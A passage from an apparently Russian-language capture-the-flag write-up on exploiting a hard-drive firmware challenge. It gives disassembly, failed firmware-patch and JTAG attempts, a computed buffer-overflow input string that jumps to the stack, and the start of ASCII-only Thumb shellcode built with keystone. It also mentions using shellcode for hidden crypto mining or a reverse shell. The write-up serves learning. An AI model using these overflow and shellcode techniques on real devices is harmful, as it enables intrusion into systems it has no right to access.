  • А вторая часть - это уже то, что должен исполнить процессор после того, как эксплоит получил контроль над уязвимой системой. Это и есть наш шеллкод. Он может быть очень разным. Это зависит от того, что мы хотим получить от взломанной системы. Мы можем использовать в качестве шеллкода код для скрытого майнинга крипты, запустить процесс bash и присоединить его дескрипторы через сокет к удаленному ПК (и таким образом получить шелл на взломанный комп). По сути, шеллкод это то, чем мы нагружаем процессор после взлома системы.

Стоит сказать, что такой код может быть только машинным. Потому что подсовывать высокоуровневый код, компилировать его на взломанном ПК, а потом исполнять - будет ну прям совсем изобретенным велосипедом. В процессе написания шеллкода нужно так же учитывать то, что он должен быть незаметным и маленьким по размеру. Размер имеет чуть ли не самое важное значение. Чем меньше размер - тем больше "фильтров" может пройти наш шеллкод. Об этом расскажу немного позже в процессе этой публикации.

Самая значимая часть статьи на phrack.org это ASCII. Дело в том, что очень много систем принимают в качестве пользовательского ввода как-раз таки данные в ASCII формате (наш диск не исключение - кроме текста, символов и цифр писать в консольник ничего нельзя). В статье описано несколько механик о том, как писать шеллкод, используя только числа в диапазоне от 0x20 до 0x7E. И, мало того, каждый код операции процессора разбивается на биты, и рассказывается почему одна операция проходит ASCII "фильтр", а другая нет. Статью писал истинный гений!

В этот раз, я покажу файл level_3.html целиком. Ведь он гораздо меньше, чем на предыдущем уровне.

level_3.html
001. ROM:00332D30002. ROM:00332D30 ; Segment type: Pure code003. ROM:00332D30                 AREA ROM, CODE, READWRITE, ALIGN=0004. ROM:00332D30                 ; ORG 0x332D30005. ROM:00332D30                 CODE16006. ROM:00332D30007. ROM:00332D30 ; =============== S U B R O U T I N E =======================================008. ROM:00332D30009. ROM:00332D30 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)010. ROM:00332D30 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.011. ROM:00332D30 ; The next level to reach, the key parts to print you must!012. ROM:00332D30013. ROM:00332D30 generate_key014. ROM:00332D30015. ROM:00332D30 var_A8          = -0xA8016. ROM:00332D30017. ROM:00332D30                 PUSH            {R4-R7,LR}018. ROM:00332D32                 SUB             SP, SP, #0x90019. ROM:00332D34                 MOVS            R7, R1020. ROM:00332D36                 MOVS            R4, R2021. ROM:00332D38                 MOVS            R5, R0022. ROM:00332D3A                 MOV             R1, SP023. ROM:00332D3C                 LDR             R0, =0x35A05C ; "SP: %x"024. ROM:00332D3E                 LDR             R3, =0x68B08D025. ROM:00332D40                 NOP026. ROM:00332D42                 LDR             R1, =0x6213600 ; "R"...027. ROM:00332D44                 MOV             R2, SP028. ROM:00332D46029. ROM:00332D46 loc_332D46                              ; CODE XREF: generate_key+22j030. ROM:00332D46                 LDRB            R6, [R1]031. ROM:00332D48                 ADDS            R1, R1, #1032. ROM:00332D4A                 CMP             R6, #0xD033. ROM:00332D4C                 BEQ             loc_332D54034. ROM:00332D4E                 STRB            R6, [R2]035. ROM:00332D50                 ADDS            R2, R2, #1036. ROM:00332D52                 B               loc_332D46037. ROM:00332D54 ; ---------------------------------------------------------------------------038. ROM:00332D54039. ROM:00332D54 loc_332D54                              ; CODE XREF: generate_key+1Cj040. ROM:00332D54                 SUBS            R6, #0xD041. ROM:00332D56                 STRB            R6, [R2]042. ROM:00332D58                 SUBS            R5, #0x49 ; 'I'043. ROM:00332D5A                 CMP             R5, #9044. ROM:00332D5C                 BGT             loc_332E14045. ROM:00332D5E                 LSLS            R5, R5, #1046. ROM:00332D60                 ADDS            R5, R5, #6047. ROM:00332D62                 MOV             R0, PC048. ROM:00332D64                 ADDS            R5, R0, R5049. ROM:00332D66                 LDRH            R0, [R5]050. ROM:00332D68                 ADDS            R0, R0, R5051. ROM:00332D6A                 BX              R0052. ROM:00332D6A ; ---------------------------------------------------------------------------053. ROM:00332D6C                 DCW 0x15054. ROM:00332D6E                 DCW 0xA6055. ROM:00332D70                 DCW 0xA4056. ROM:00332D72                 DCW 0xA2057. ROM:00332D74                 DCW 0xA0058. ROM:00332D76                 DCW 0x9E059. ROM:00332D78                 DCW 0x30060. ROM:00332D7A                 DCW 0x52061. ROM:00332D7C                 DCW 0x98062. ROM:00332D7E                 DCW 0xE063. ROM:00332D80 ; ---------------------------------------------------------------------------064. ROM:00332D80065. ROM:00332D80 key_part1066. ROM:00332D80                 LDR             R0, [R4]067. ROM:00332D82                 MOVS            R6, #1068. ROM:00332D84                 STR             R6, [R7]069. ROM:00332D86                 BLX             loc_332E28070. ROM:00332D86 ; ---------------------------------------------------------------------------071. ROM:00332D8A                 CODE32072. ROM:00332D8A                 DCB    0073. ROM:00332D8B                 DCB    0074. ROM:00332D8C ; ---------------------------------------------------------------------------075. ROM:00332D8C076. ROM:00332D8C key_part2077. ROM:00332D8C                 LDR             R6, [R7]078. ROM:00332D90                 CMP             R6, #1079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0081. ROM:00332D9C                 MOVEQ           R6, #1082. ROM:00332DA0                 STREQ           R6, [R7,#4]083. ROM:00332DA4                 B               loc_332E28084. ROM:00332DA8 ; ---------------------------------------------------------------------------085. ROM:00332DA8086. ROM:00332DA8 key_part3087. ROM:00332DA8                 LDR             R6, [R7]088. ROM:00332DAC                 CMP             R6, #1089. ROM:00332DB0                 LDREQ           R6, [R7,#4]090. ROM:00332DB4                 CMPEQ           R6, #1091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1093. ROM:00332DC0                 MOVEQ           R6, #1094. ROM:00332DC4                 STREQ           R6, [R7,#8]095. ROM:00332DC8                 B               loc_332E28096. ROM:00332DCC ; ---------------------------------------------------------------------------097. ROM:00332DCC098. ROM:00332DCC key_part4099. ROM:00332DCC                 LDR             R6, [R7]100. ROM:00332DD0                 CMP             R6, #1101. ROM:00332DD4                 LDREQ           R6, [R7,#4]102. ROM:00332DD8                 CMPEQ           R6, #1103. ROM:00332DDC                 LDREQ           R6, [R7,#8]104. ROM:00332DE0                 CMPEQ           R6, #1105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2107. ROM:00332DEC                 MOVEQ           R6, #1108. ROM:00332DF0                 STREQ           R6, [R7,#8]109. ROM:00332DF4                 LDR             R4, =0x35A036 ; "Key Generated: %s%s%s%s"110. ROM:00332DF8                 SUB             SP, SP, #4111. ROM:00332DFC                 STR             R0, [SP,#0xA8+var_A8]112. ROM:00332E00                 MOVS            R0, R4113. ROM:00332E04                 LDR             R4, dword_332E40+4114. ROM:00332E08                 BLX             R4115. ROM:00332E0C                 ADD             SP, SP, #4116. ROM:00332E10117. ROM:00332E10 loc_332E10                              ; CODE XREF: generate_key:loc_332E10j118. ROM:00332E10                 B               loc_332E10119. ROM:00332E14 ; ---------------------------------------------------------------------------120. ROM:00332E14                 CODE16121. ROM:00332E14122. ROM:00332E14 loc_332E14                              ; CODE XREF: generate_key+2Cj123. ROM:00332E14                 LDR             R4, =0x35A020 ; "key not generated"124. ROM:00332E16                 SUB             SP, SP, #4125. ROM:00332E18                 STR             R0, [SP,#0xA8+var_A8]126. ROM:00332E1A                 MOVS            R0, R4127. ROM:00332E1C                 LDR             R4, =0x68B08D128. ROM:00332E1E                 BLX             R4129. ROM:00332E20                 ADD             SP, SP, #4130. ROM:00332E22                 BLX             loc_332E28131. ROM:00332E26                 MOVS            R0, R0132. ROM:00332E26 ; End of function generate_key133. ROM:00332E26134. ROM:00332E28                 CODE32135. ROM:00332E28136. ROM:00332E28 loc_332E28                              ; CODE XREF: generate_key+56p137. ROM:00332E28                                         ; generate_key+74j ...138. ROM:00332E28                 ADD             SP, SP, #0xA0139. ROM:00332E2C                 LDR             LR, [SP],#4140. ROM:00332E30                 BX              LR141. ROM:00332E30 ; ---------------------------------------------------------------------------142. ROM:00332E34 dword_332E34    DCD 0x35A05C            ; DATA XREF: generate_key+Cr143. ROM:00332E38 dword_332E38    DCD 0x68B08D            ; DATA XREF: generate_key+Er144. ROM:00332E3C dword_332E3C    DCD 0x6213600           ; DATA XREF: generate_key+12r145. ROM:00332E40 dword_332E40    DCD 0x35A036, 0x68B08D  ; DATA XREF: generate_key+C4r146. ROM:00332E40                                         ; generate_key+D4r147. ROM:00332E48 dword_332E48    DCD 0x35A020            ; DATA XREF: generate_key:loc_332E14r148. ROM:00332E4C off_332E4C      DCD 0x68B08D            ; DATA XREF: generate_key+ECr149. ROM:00332E50                 DCD 0150. ROM:00332E50 ; ROM           ends151. ROM:00332E50152. ROM:00332E50                 END

Отличия

Огооо! Первый блин комом. Здесь нету функции ahex2byte. Без конвертации вводимых символов в бинарные, мы уж точно не сможем прыгнуть по адресам каждого из ключа. То есть, у нас не получится взломать этот уровень так же, как и предыдущий. Оно и не дурно - задачка то новая!

Первое, что мне сразу бросилось в глаза - строка 18. Как мы помним из предыдущей статьи, это часть Function Prologue. Но, количество памяти, которое мы выделяем для стека огромное - аж целых 0х90 байт. Если бы эта функция имела много аргументов и дохрена переменных внутри, это бы хоть как-то оправдало на столько огромную цифру. Это, друзья, наш "первый звоночек".

На строках 138-140 мы видим то же самое уменьшение стека, и прыжок на адрес, который был залинкован перед входом в функцию generate_key. Количество байт, на которое мы уменьшаем стек - 0xA0. Это на 16 байт больше того количества, на которое мы увеличивали стек сразу после входа в функцию. На предыдущем уровне, мы имели ровно такую же разницу. В общем, этот кусок говорит нам о том, что здесь мы эксплуатируем ровно такую-же уязвимость, как и на предыдущем уровне - buffer overflow. Но, заставить программу отдать ключи нам прийдется другим, более изощренным способом.

На строке 24 мы видим, что адрес нашей функции printf грузится в регистр R3. Пока что не понятно, для каких целей мы это делаем, но это, уж поверьте, стоит держать в голове :)

Строки 30-36. Здесь у нас нету отличий от предыдущего уровня - все, что мы здесь делаем это копируем наши вводимые данные на стек, и продолжаем исполнение программы когда столкнемся с символом новой строки.

Строки 40-41. Опа! А здесь мы видим две замечательные инструкции. На строке 40 мы отнимаем 0x0D от последнего вводимого символа - новой строки (тот же 0x0D). Получаем ноль. И, на строке 41, мы сохраняем этот ноль на стек в качестве последнего символа нашего ввода. Это наталкивает нас на мысль, что, если мы правильно все рассчитаем, один из байтов адреса на который вернется программа вполне себе может быть 0х00. Опять же, держим в голове. Однажды это нас спасет :)

Ну, вот и все. В остальном, программа почти идентична той, что мы имели на LEVEL2. Конечно, есть парочка непохожих вещей, но они выходят за рамки процесса взлома этого уровня.

Жалкие попытки

Как я и говорил в начале этой публикации, у меня ушло невероятно много времени, чтоб понять как взломать эту ерунду. Друзья, провальные попытки - тоже попытки. Поэтому, пройдемся по тем безуспешным шагам, которые я попробовал, но которые не увенчались успехом.

Меняем прошивку

Первая мысль была загрузить файл level_3.lod в дизассемблер, найти место, которое будет похожим на то, что я вижу в level_3.html, отредактировать пару значений, и залить прошивку обратно на диск. Я воспользовался Hopper Disassembler, и все таки нашел это место! Очень странно то, что каждая вторая строка кода была совсем не похожа на то, что я вижу в level_3.html. Возможно, это была какая-то контрольная сумма, или же логика прошивальщика seaflashlin_rbs работает специфичным образом. Так или иначе, чисто для тестов, я изменил парочку значений.

Но, когда я попытался прошить диск, утилита seaflashlin_rbs завершалась с ошибкой. И, после прошивки, мои изменения не применились.

root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -f level_3_patch.lod -d /dev/sg1 ================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 19:25:42 2021================================================================================Flashing microcode file level_3_patch.lod to /dev/sg1 .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  :  !Microcode Download to /dev/sg1 FAILURE!!!

Здесь я вообще не понял что именно стало причиной. Либо сама утилита, либо несоответствие данных в файле прошивки. В общем, решил не копать глубоко. Кое-где в голове было понимание, что этот уровень решается не так просто. Я тут же отбросил этот вариант.

Может потыкать железяку?

Немного погуглив, я понял что каждый чип (IC) имеет такую штуку как JTAG. Это своеобразный интерфейс для тестирования чипа. Через него можно отдать команду процессору остановить исполнение кода, и переключится в debug-режим. С помощью openocd можно "транслировать" debug-режимы различных чипов, и вывести порт для gdb. А уже с gdb можно попросить процессор показать определенные участки памяти, да и вообще слить всю память, которая находится в рабочем пространстве процессора. Если мы совершим подобное, мы отыщем функцию generate_key в огромном дампе памяти, и по референсам сможем найти все ключи!

Для подобной манипуляции есть парочка нюансов:

  • Нужно знать какие ножки процессора отвечают за JTAG

  • Нужно понять каким образом настроить openocd

JTAG это довольно хитрая вещь. На разных микропроцессорах он располагается на разных ножках, и сразу понять что куда подключать - практически не возможно. Это на столько не возможно, что существует такая вещь как jtagulator. Цена железяки говорит сама за себя. https://www.parallax.com/product/jtagulator/

На тыльной стороне платы был 38-пиновый разьем. Я так понял, что этот разьем используется для тестирования платы в процессе производства. На нем и должен быть наш JTAG

Спасибо форуму hddguru.com и сайту spritesmods.com - там были все необходимые распиновки и небольшие гайды о том, как подключится к JTAG на похожих дисках. Для openocd я использовал стандартный шаблон под raspberry pi, добавив лишь опцию открытия порта для gdb, и немножко описав IC (может даже криво). Контакты на разьеме были совсем маленькие, и припаиваться к ним было ужасно не удобно. Понимать где какая ножка было тяжело для зрения. Поэтому, я сделал фотки, и все разукрасил с обеих сторон.

Разукрашенная плата

В результате, картина моего подключения выглядела ужасно. Кое что было криво припаяно, кое что просто контактировало с платой без какой-либо пайки. Куча female-male-female... Но, блин, оно работало. Когда я запустил openocd, у меня получилось опознать чип!

К сожалению, конфигурация openocd была безвозвратно утеряна, но скриншот подключения остался.

Я увидел 3 ядра процессора (JTAG tap). По partnumber я даже нашел изображения этого чипа, и они выглядели похожими на тот, что мы имеем на плате. Оказалось, что это STMicroelectronics STR912.

Но, как видите - в конце лога от openocd я увидел ошибки. Они указывали на то, что процессор не ответил на команду halt. Как я это понял, он проигнорировал просьбу включить debug-режим. Без debug-режима, мы никак не сможем запросить у процессора содержимое памяти... и не сможем решить этот уровень. Очередная неудача - JTAG был закрыт.

Может, толковые ребята в комментариях подскажут, шел ли я по правильному пути, тот ли это чип вообще, и правильно ли я понял происходящее.

Решаем по правильному

В конце концов я сдался, и понял, что этот уровень нужно решать как есть, без попыток обойти систему. Уж слишком много было подсказок насчет шеллкода, патч от keystone с предыдущего уровня никак не шел из головы, и этот комментарий на строке 23 "SP: %x" все не давал мне покоя. К тому же, этот комментарий есть в задаче от предыдущего уровня.

У меня оставалась еще одна мысль - поскольку мы копируем все вводимые символы на стек, можно попытаться самому написать ASCII шеллкод и заабьюзить адрес возврата так, чтоб он указывал на стек. Тем самым, мы заставим процессор исполнить то, что напишем. В нашем случае, шеллкод должен выставить адреса ключей в регистр R0, и триггернуть printf. Но, для этого нужно знать адрес SP, в момент копирования нашего ввода на стек. Я сделал одно допущение - поскольку мы имеем дело с embedded устройством, у нас нету ядра, нету виртуализации - все адреса никак не транслируются. Получается, адрес SP в момент триггера функции generate_key через "R..." должен быть одинаковым на LEVEL2 и на LEVEL3.

Если глянете на level_2.html из предыдущей статьи, вы увидите, что 0x00332DCC - это адрес, где мы сохраняем содержимое SP в R1, расставляем аргументы для printf по местам, и триггерим printf - то есть, печатаем адрес SP. Я перепрошил диск на предыдущий уровень LEVEL2 и сделал вот такой ввод в консоль:

R1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACC2D3300

На что получил вот такой ответ:

SP:2c7bcc.

Хм, 0x002C7BCC... первый 0x00 байт мы сможем получить после того, как отнимем 0xD от символа новой строки (строки 40-41), 0x2C и 0x7B это символы в ASCII диапазоне - "," и "{". Здесь все хорошо. А вот последний байт 0xCC выходит за пределы ASCII. Но, как мы помним, в Function Prologue (строка 18), мы увеличивали стек (уменьшали адрес) аж на 0x90 байт. То есть, наш шеллкод может располагаться в довольно широком диапазоне адресов. Последний байт можно запросто подстроить так, чтоб он был в ASCII.

То есть, как видите, затея с прыжком исполнения на стек вполне реальна!

Но, есть одна проблемка - мы печатаем адрес SP внутри функции. А нам нужен адрес SP на тот момент, когда мы копируем первый вводимый символ на стек. Это и будет наш адрес, куда мы переведем исполнение программы. А содержимое стека и будет нашим шеллкодом.

Берем во внимание все манипуляции с SP в процессе generate_key. Что написано пером... ну вы поняли. Я распечатал LEVEL2 & LEVEL3 и вручную все расписал. К сожалению, фоток от LEVEL2 не осталось, поэтому будет кусок кода из level_2.html:

013. ROM:00332D00 generate_key014. ROM:00332D00015. ROM:00332D00 var_28          = -0x28016. ROM:00332D00017. ROM:00332D00                 PUSH            {R4-R7,LR}018. ROM:00332D02                 SUB             SP, SP, #0x10019. ROM:00332D04                 MOVS            R7, R1020. ROM:00332D06                 MOVS            R4, R2...108. ROM:00332DCC                 MOV             R1, SP109. ROM:00332DD0                 LDR             R4, =0x35A05C ; "SP: %x"110. ROM:00332DD4                 BLX             loc_332DDC111. ROM:00332DD8                 CODE16112. ROM:00332DD8113. ROM:00332DD8 loc_332DD8                              ; CODE XREF: generate_key+2Ej114. ROM:00332DD8                 LDR             R4, =0x35A020 ; "key not generated"115. ROM:00332DDA                 NOP116. ROM:00332DDC117. ROM:00332DDC loc_332DDC                              ; CODE XREF: generate_key+C8p118. ROM:00332DDC                                         ; generate_key+D4p119. ROM:00332DDC                 SUB             SP, SP, #4120. ROM:00332DDE                 STR             R0, [SP,#0x28+var_28]121. ROM:00332DE0                 MOVS            R0, R4123. ROM:00332DE2                 LDR             R4, =0x68B08D124. ROM:00332DE4                 BLX             R4125. ROM:00332DE6                 ADD             SP, SP, #4126. ROM:00332DE8                 BLX             loc_332DEC127. ROM:00332DE8 ; End of function generate_key128. ROM:00332DE8129. ROM:00332DEC                 CODE32130. ROM:00332DEC131. ROM:00332DEC loc_332DEC                              ; CODE XREF: generate_key+58p132. ROM:00332DEC                                         ; generate_key+74j ...133. ROM:00332DEC                 ADD             SP, SP, #0x20134. ROM:00332DF0                 LDR             LR, [SP],#4135. ROM:00332DF4                 BX              LR136. ROM:00332DF8137. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================
level_3.htmllevel_3.html

На LEVEL2 (level_2.html), в самом начале, на строке 18, мы уменьшаем значение в SP на 0х10 байт. На строке 133 мы завершаем функцию, при этом прибавляя 0х20 байт. Инструкция на строке 134

LDR LR, [SP],#4

забавная. В ней мы уменьшаем стек на 4 байта, лезем по этому адресу в память, и сохраняем содержимое в LR. Что происходит с LR - не важно. Важно лишь то, что значение в SP увеличилось на 4 байта.

Делаем вот такую обратную математику:

0x002C7BCC + 0х10 = 0x002C7BDC0x002C7BDC - 0x20 = 0x002C7BBC0x002C7BBC - 0x04 = 0x002C7BB8

0x002C7BB8 и есть значение в SP на момент старта функции generate_key. Теперь делаем расчеты из LEVEL3. Здесь, перед копированием вводимых символов, мы увеличиваем стек (отнимаем адрес) на 0х90 байт. Здесь уже применяем прямую математику:

0x002C7BB8 - 0х90 = 0x002C7B28

Итак, мы получили адрес, куда будет копироваться наш ввод. Ах да, не забываем об еще одной очень важной вещи - наш первый вводимый символ это "R" - он является триггером функции, но не является частью нашего будущего шеллкода. Избавится от него мы не можем, да и нам это не нужно. Просто немножко сдвинуть адрес вперед будет достаточно

  • Сдвиг на 1 байт не сработает поскольку мы имеем дело с little endian архитектурой. Помним, что наши инструкции имеют размер в 2 байта. Делая такой маленький сдвиг, мы рискуем "захватить" предыдущий символ "R" как инструкцию для процессора и наш шеллкод не сработает.

  • Сдвиг на 2 байта тоже не сработает. Причина тому - парность адреса. В предыдущей статье у меня был абзац, где я рассказывал, что семейство Branch (B) инструкций с параметром Exchange (X) совершат смену режима. Если адрес будет парным, мы сменим режим на ARM, где будем иметь 4 байта на инструкцию. Писать шеллкод под ASCII фильтр куда проще имея 2 байта на инструкцию, чем 4 (вероятность напороться на non-ASCII опкод в 2 раза ниже). Поэтому, для простоты, лучше оставаться в Thumb.

  • Сдвиг на 3 байта это именно то, что нам нужно.

0x002C7B28 + 0x03 = 0x002C7B2B

Надо же, в итоге мы получили адрес, который идеально поместится в ASCII диапазон. Последним байтом оказался 0x2B - это ASCII "+".

Что же, нам осталось рассчитать количество вводимых в консоль символов таким образом, чтоб возврат из generate_key направил исполнение кода на адрес 0x002C7B2B. Помним, что на строках 138-140 из level_3.html мы увеличивали адрес стека на 0xA0 (160) байт. И, увеличивали еще на 4 байта когда снимали значение со стека в LR.

Не забываем о новой строке 0x0D - она тоже часть нашего ввода. В процессе исполнения программы, она превратится в 0x00. Итого, количество вводимых символов должно быть 160 + 4 - 1 = 163. Адрес в конце мы должны написать в обратном порядке байт из-за little endian архитектуры. Получится 0x2B 0x7B 0x2C - ASCII ",{+". В итоге, введем что-то похожее на вот это:

RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+{,

Тестим шеллкод

Чтобы что-то протестировать, нужно это сначала написать. Здесь нам и нужен keystone assembler о котором шла речь на LEVEL2. Это не простой компилятор. Кроме самого компилятора он предоставляет несколько С-шных библиотек. Мы можем написать ассемблерную инструкцию, передать ее как текстовый параметр в keyston-овскую функцию, и получить 2х, или 4х (Thumb или ARM) байтовый код операции (опкод).

Для этого, нужно собрать keystone. Что же, идем в репу https://github.com/keystone-engine/keystone, смотрим инструкцию по сборке и собираем.

user@ubuntu:~/Desktop$ git clone https://github.com/keystone-engine/keystoneCloning into 'keystone'...remote: Enumerating objects: 6806, done.remote: Counting objects: 100% (84/84), done.remote: Compressing objects: 100% (66/66), done.remote: Total 6806 (delta 18), reused 51 (delta 14), pack-reused 6722Receiving objects: 100% (6806/6806), 11.78 MiB | 1.84 MiB/s, done.Resolving deltas: 100% (4617/4617), done.user@ubuntu:~/Desktop$ cd keystone

Не забываем применить патч из LEVEL2.

0001-keystone-armv5.patch
user@ubuntu:/media/user/LEVEL2$ cat 0001-keystone-armv5.patchFrom 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001From: mysteriousmysteries <mysteriousmysteries@redballoonsecurity.com>Date: Wed, 15 Feb 2017 09:23:31 -0800Subject: [PATCH] armv5 support--- llvm/keystone/ks.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cppindex d1819f0..8c66f19 100644--- a/llvm/keystone/ks.cpp+++ b/llvm/keystone/ks.cpp@@ -250,7 +250,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)     if (arch < KS_ARCH_MAX) {         ks = new (std::nothrow) ks_struct(arch, mode, KS_ERR_OK, KS_OPT_SYNTAX_INTEL);-+         if (!ks) {             // memory insufficient             return KS_ERR_NOMEM;@@ -294,7 +294,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)                         TripleName = "armv7";                         break;                     case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:-                        TripleName = "thumbv7";+                        TripleName = "armv5te";                         break;                 }@@ -566,7 +566,7 @@ int ks_asm(ks_engine *ks,     Streamer = ks->TheTarget->createMCObjectStreamer(             Triple(ks->TripleName), Ctx, *ks->MAB, OS, CE, *ks->STI, ks->MCOptions.MCRelaxAll,             /*DWARFMustBeAtTheEnd*/ false);-+     if (!Streamer) {         // memory insufficient         delete CE;@@ -594,7 +594,7 @@ int ks_asm(ks_engine *ks,         return KS_ERR_NOMEM;     }     MCTargetAsmParser *TAP = ks->TheTarget->createMCAsmParser(*ks->STI, *Parser, *ks->MCII, ks->MCOptions);-    if (!TAP) {+    if (!TAP) {         // memory insufficient         delete Parser;         delete Streamer;--1.9.1

Патч выглядит большим, но в нем у нас меняется всего навсего одна строка в файле llvm/keystone/ks.cpp. Патч был создан для какой-то старой версии keystone и в нем не совпадают номера строк. Нам прийдется отыскать похожее место в коде, и сделать изменения ручками. На момент написания этой публикации, это строка 305 (функция ks_open, кусок switch/case, условие параметров препроцессора KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB). Меняем с

304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "thumbv7";306.                break;

на

304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "armv5te";306.                break;

Инструкция по сборке говорит нам, что нужен cmake. Метапакет build-essential обязательно должен быть установлен. Ставим все через apt get install.

Создаем папку build в корне keystone, переходим в нее, и запускаем скрипт билда с уровня директорий выше.

user@ubuntu:~/Desktop/keystone$ mkdir builduser@ubuntu:~/Desktop/keystone$ cd builduser@ubuntu:~/Desktop/keystone/build$ ../make-share.sh

Процесс конфигурации может проходить по разному на разных системах. В моем случае было много предупреждений, но ошибок не было. Дальше, компилируем и устанавливаем keystone. Не забываем об sudo - мы ведь библиотеку устанавливаем. Ах да, прогнать ldconfig - обязательно!

user@ubuntu:~/Desktop/keystone/build$ sudo make installuser@ubuntu:~/Desktop/keystone/build$ sudo ldconfig

Ииии, на этом всё! В корне у keystone есть папочка samples. Там есть пример использования keyston-овских функций. Единственный С-шный файл - sample.c. В нем есть main функция, которая запускает кучу функций test_ks с разными параметрами. Если мы триггернем make в этой папке, получим бинарник sample. Запустив его - получим огромную пачку скомпилированных опкодов для разных архитектур. Если вы увидели этот огромный вывод от sample, значит все собралось правильно.

user@ubuntu:~/Desktop/keystone/build$ cd ../samplesuser@ubuntu:~/Desktop/keystone/samples$ makecc -o sample sample.c -lkeystone -lstdc++ -lmuser@ubuntu:~/Desktop/keystone/samples$ ./sampleadd eax, ecx = 66 01 c8Assembled: 3 bytes, 1 statementsadd eax, ecx = 01 c8Assembled: 2 bytes, 1 statements...

Дабы не ломать примеры, продублируем sample.c в, к примеру, lv3.c, и заменим его в Makefile:

user@ubuntu:~/Desktop/keystone/samples$ cp sample.c lv3.c

Наш Makefile должен выглядеть вот так:

user@ubuntu:~/Desktop/keystone/samples$ cat Makefile# Sample code for Keystone Assembler Engine (www.keystone-engine.org).# By Nguyen Anh Quynh, 2016.PHONY: all cleanKEYSTONE_LDFLAGS = -lkeystone -lstdc++ -lmall:${CC} -o lv3 lv3.c ${KEYSTONE_LDFLAGS}clean:rm -rf *.o lv3

Открываем lv3.c, и убираем кучу лишнего из main. Нас интересует лишь одна из этих функций - архитектура ARM, режим Thumb, little endian. В качестве примера, возьмем инструкцию прыжка на содержимое в R7 и R3 . Итоговая main должна выглядеть вот так:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r7", 0);    return 0;}

Собираем и запускаем.

user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3bx r3 = 13 ff 2f e1Assembled: 4 bytes, 1 statementsbx r7 = 17 ff 2f e1Assembled: 4 bytes, 1 statements

Огоо! Мы получили 4 байта на инструкцию вместо 2х. Что же происходит? На самом деле, причина такого поведения keystone мне до сих пор не известна. Мы напрямую указали keystone собирать Thumb опкоды, а получили какое-то 4х байтовое г. Патч вполне мог быть причиной - может ребята из RedBalloonSecurity хотели чтоб я написал именно ARM шеллкод - это было бы очень профессионально. Патч я решил не убирать, и в конце концов, решил эту проблему через big endian. Мне пришлось сменить main вот так, чтоб получить желаемое:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r7", 0);    return 0;}
user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3cc -o lv3 lv3.c -lkeystone -lstdc++ -lmbx r3 = 47 18Assembled: 2 bytes, 1 statementsbx r7 = 47 38Assembled: 2 bytes, 1 statements

Вот теперь красота. Правда только, в обратном порядке байт.

Неужели готово?

То есть, что мы получили? Мы ввели желаемую операцию, получили ее опкод, и теперь нам нужно проверить, пройдет ли этот опкод ASCII фильтр. Смотрим на опкоды, и идем вот сюда http://www.asciitable.com. Еще есть очень удобный конвертор https://www.rapidtables.com/convert/number/hex-to-ascii.html

В нашем примере, инструкция BX R3 имеет опкод 0x18 0x47. Судя по ASCII таблице, первая цифра это какой-то CANCEL. Я уж точно не введу такое в консоль. Второй символ 0х47 даже не смотрим. Эта операция не пройдет ASCII фильтр, и мы не можем использовать ее в шеллкоде.

А вот BX R7 имеет опкод 0x38 0x47. Судя по ASCII таблице это "8" и "G". Вот это будет работать, и мы можем написать такое в шеллкод.

Надеюсь, все поняли что такое ASCII фильтр, и чем мы тут занимаемся :)

Пишем

Теперь нам прийдется, довольно таки сильно, напрячь мозг. Самое важное, что должен уметь наш шеллкод - это триггерить printf. Без этого, мы не получим ни единого ключа. Как мы помним, в начале программы на строке 24, мы записывали адрес printf в R3, и этот регистр ни разу не менялся в процессе исполнения.

Мы уже пытались использовать инструкцию BX R3 - она не проходит ASCII фильтр. Но, мы можем попробовать переместить адрес из R3 в какой-то другой регистр и сделать Branch на него. Давайте глянем что такое MOV R5, R3 и BX R5 в виде опкодов. Детально расписывать что и как получаем я не буду. Надеюсь, с keystone все разобрались. Упрощу все до максимума:

MOV R5, R3  = 0x46 0x1D  = "F "BX R5       = 0x28 0x47  = "(G"

